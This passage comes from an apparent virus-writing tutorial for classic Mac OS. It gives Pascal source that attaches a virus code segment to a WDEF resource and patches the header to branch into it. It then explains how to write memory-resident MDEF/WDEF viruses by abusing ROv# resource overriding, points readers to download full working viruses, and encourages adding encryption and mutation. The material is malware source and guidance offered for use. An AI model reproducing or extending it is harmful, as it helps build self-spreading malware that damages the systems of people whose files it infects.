WDEFHeaderHandle = ^WDEFHeaderPtr; {handle to above structure} theFiles = (virus, original, destination); var refnum: array[theFiles] of integer; segment: array[theFiles] of Handle; offset: integer; begin refNum[virus] := OpenResFile(VirusFileName); writeln('OpenResFile:', ResError); refnum[original] := OpenResFile(OriginalWDEFFileName); writeln('OpenResFile:', ResError); refnum[destination] := OpenResFile(DestinationFileName); writeln('OpenResFile:', ResError); UseResFile(refNum[virus]); segment[virus] := Get1Resource('WDEF', 0); writeln('Get1Resource:', ResError); UseResFile(refNum[original]); segment[original] := Get1Resource('WDEF', 0); writeln('Get1Resource:', ResError); {Fix Header} offset := SizeResource(segment[original]) - 2; HLock(segment[original]); WDEFHeaderHandle(segment[original])^^[1] := $6100; {BSR} WDEFHeaderHandle(segment[original])^^[2] := offset; {branch to virus} WDEFHeaderHandle(segment[original])^^[3] := $6006; {BRA.S } WDEFHeaderHandle(segment[original])^^[4] := integer('JS'); {'JSBACH'} WDEFHeaderHandle(segment[original])^^[5] := integer('BA'); WDEFHeaderHandle(segment[original])^^[6] := integer('CH'); HUnlock(segment[original]); {Now Concatenate the two Segments} HLock(segment[virus]); writeln('HandAndHand:', HandAndHand(segment[virus], segment[original])); {Now segment[original] contains the concatenation} HUnlock(segment[virus]); DetachResource(segment[original]); writeln('DetachResource:', ResError); UseResFile(refnum[destination]); AddResource(segment[original], 'WDEF', 0, ''); writeln('AddResource:', ResError); CloseResFile(refNum[original]); CloseresFile(refNum[virus]); CloseResFile(refNum[destination]); end. NOTES ON MEMORY RESIDENT VIRUSES It is important to note the following when writing memory resident viruses that depend on resource code segments being loaded in memory. Segments such as MDEFs and WDEFs override the system resources if they are placed in non-system files. This means that if you open a resource file with a MDEF resource, it will override the MDEF of the System. However, there are several glitches which must be noted. While in general the System uses a Standard MDEF=0 for Sys 7, and a WDEF=0, that may change in the future. In particular, the standard code resources are sometimes placed in ROM. In our MDEF example, the MDEF=0 is actually in ROM and cannot be modified in Sys 7. However because Apple usually makes last minute changes, it includes an overriding mechanism, different from the standard res file opening mechanism. It is implemented through a ROv# resource in the System file (Sometimes in auxiliary System files as well). The ROv# resource is simply a list of the resources to override the ROM ones. Open such a resource with ResEdit to see its format. In my MDEF virus above, the MDEF=0 is actually in ROM. But Sys 7 already contains an Rov# resource for overriding MDEF=0. That's what the virus takes advantage of, and as a result it overrides the ROM resource. But in the WDEF virus, there is no WDEF in the ROv# list, therefore we have to add it to the list ourselves, so it gets overridden from now on. Apple's bad design of the ROM resources, makes it very difficult to write such memory resident viruses, cause the ROM resources and the ROv# resources constantly change. Thus, don't be surprised if your virus works in one system and fails in another. The WDEF given above will probably fail on Sys 8. Even the MDEF may fail, for that, the reason being the new appearance manager on Sys 8. I recommend careful and meticulous study of Sys 8, if you want to write anything that's compatible with 8. Things become even worse with Rhapsody. I have no idea what's going on there. It may be the case that the new blue box completely shields the System from virus attacks. Be very careful. That's why it is always better to write disk based viruses that don't depend on operating system versions. Such viruses make the least number of assumptions on the Sys, as a result they are usually compatible with most Systems. One final note of caution about memory resident code resources: Don't fool around with the functionality of the actual code. Try to make your virus as transparent as possible without interfering with the actual resource code. This way the original functionality will be preserved. If you consciously alter the actual resource code, there's no way to tell what will happen. Be very careful. Finally, to get the full working versions of the above viruses and the project files, download them from codebreakers.simplenet.com from the Members Files section. Things which have yet to be implemented on mac viruses: 1) Efficient code encryption 2) Code mutation Give it a shot, and try to implement some of these features! It's hard but not impossible. Have fun!